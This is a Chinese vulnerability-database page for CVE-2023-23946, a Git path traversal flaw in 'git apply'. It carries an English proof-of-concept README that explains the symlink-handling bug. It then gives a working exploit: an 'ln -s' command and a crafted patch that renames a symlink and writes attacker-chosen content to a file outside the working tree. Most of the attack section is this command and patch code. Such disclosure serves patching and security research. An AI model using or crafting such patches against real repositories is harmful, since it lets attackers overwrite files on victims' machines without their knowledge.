目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2023-23946 PoC — Git 路径遍历漏洞

来源
关联漏洞
标题: Git 路径遍历漏洞 (CVE-2023-23946)
Description:Git是一套免费、开源的分布式版本控制系统。 Git存在安全漏洞。攻击者利用该漏洞可以访问存储在Web根文件夹之外的文件和目录。以下版本受到影响:2.39版本至2.39.2之前版本、2.38版本至2.38.4之前版本、2.37版本至2.37.6之前版本、2.36版本至2.36.5之前版本、2.35版本至2.35.7之前版本、2.34版本至2.34.7之前版本、2.33版本至2.33.7之前版本、2.32版本至2.32.6之前版本、2.31版本至2.31.7之前版本、2.30版本至2.30.8之前版本。
Description
Explanation and POC of the CVE-2023-23946
介绍
# CVE-2023-23946 POC Exploit
Explanation and POC of the CVE-2023-23946

The CVE-2023-23946 vulnerability is caused by a flaw in the way git handles symbolic links. When git creates a symbolic link, it doesnt actually handle it as a symbolic link and because of that we can exploit it to point to files outside of the working tree.


# First create a symlink
```
ln -s [PATH_YOU_WANT_TO_ACCESS_OUTSITE_WORKING_TREE] symlink
```
# Now create a patch to use with the git apply

```
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[FILE_OUTSIDE]
@@ -0,0 +1 @@
+[WHAT_YOU_WANT_INSIDE_THE_FILE]
\ No newline at end of file
```

What does the patch do? We change the name of the existing symbolic link and create a new file. This way, when we modify /newsymlink/[FILE_OUTSIDE] git does not apply its protections against symbolic links.
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →